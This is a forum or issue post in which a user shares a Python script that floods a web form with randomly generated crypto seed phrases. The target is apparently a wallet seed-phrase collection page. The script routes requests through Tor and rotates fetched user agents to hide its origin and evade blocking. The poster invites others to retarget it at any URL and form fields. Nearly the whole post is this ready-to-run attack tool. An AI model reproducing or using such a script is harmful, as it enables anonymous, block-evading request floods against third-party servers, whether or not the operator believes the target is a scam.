Open techroy23 opened 2 months ago
import requests from mnemonic import Mnemonic import time import sys import random
def func_fetch_user_agents(url): try: response = requests.get(url) if response.status_code == 200: user_agents = response.text.splitlines() return user_agents else: print(f"Failed to fetch user agents from {url}") return [] except requests.RequestException as e: print(f"Error fetching user agents from {url}: {e}") return []
def func_get_user_agents(): urls = [ 'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-android.txt', 'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-desktop.txt', 'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-ios.txt', 'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-linux.txt', 'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-macos.txt' ] user_agents = [] for url in urls: user_agents.extend(func_fetch_user_agents(url)) return user_agents
def func_get_random_user_agent(user_agents): return random.choice(user_agents)
proxies = {'http': 'socks5h://127.0.0.1:9050', 'https': 'socks5h://127.0.0.1:9050'}
def func_get_public_ip(): try: response = requests.get('https://icanhazip.com', proxies=proxies, headers={'User-Agent': func_get_random_user_agent(user_agents)}) if response.status_code == 200: return response.text.strip() else: sys.exit(1) return None except requests.RequestException as e: print(f"Error fetching public IP: {e}") return None
def func_gen_random_seed_phrase(): mnemo = Mnemonic("english") return mnemo.generate(strength=256)
def func_attack(seed_phrase): url = 'https://web.bit-box.digital/block-onauth.php' data = {'phrase': seed_phrase, 'submit': 'submit'} try: get_agents = func_get_random_user_agent(user_agents) headers = {'User-Agent': get_agents} print(f"Sending : {get_agents[:50]} ...") response = requests.post(url, data=data, proxies=proxies, headers=headers) print(f"Status code: {response.status_code}") except requests.RequestException as e: print(f"Error: {e}")
if name == "main": user_agents = func_get_user_agents() if not user_agents: print("Unable to retrieve user agents. Using default user agents.") user_agents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/113.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 OPR/95.0.0.0",
]
public_ip = func_get_public_ip()
if public_ip:
print(f"Your public IP address is: {public_ip}")
else:
print("Unable to retrieve public IP address.")
sys.exit(1)
cycle_count = 0
max_cycles = 5
while cycle_count < max_cycles:
random_seed_phrase = func_gen_random_seed_phrase()
print(f"Sending : {random_seed_phrase[:50]} ...")
func_attack(random_seed_phrase)
cycle_count += 1
print("Finished 5 cycles. Restarting ...")
sys.exit(0)
Hi I would like to share my code
Features:
PS: just replace the 'url' and 'data' under func_attack depending on the data needed.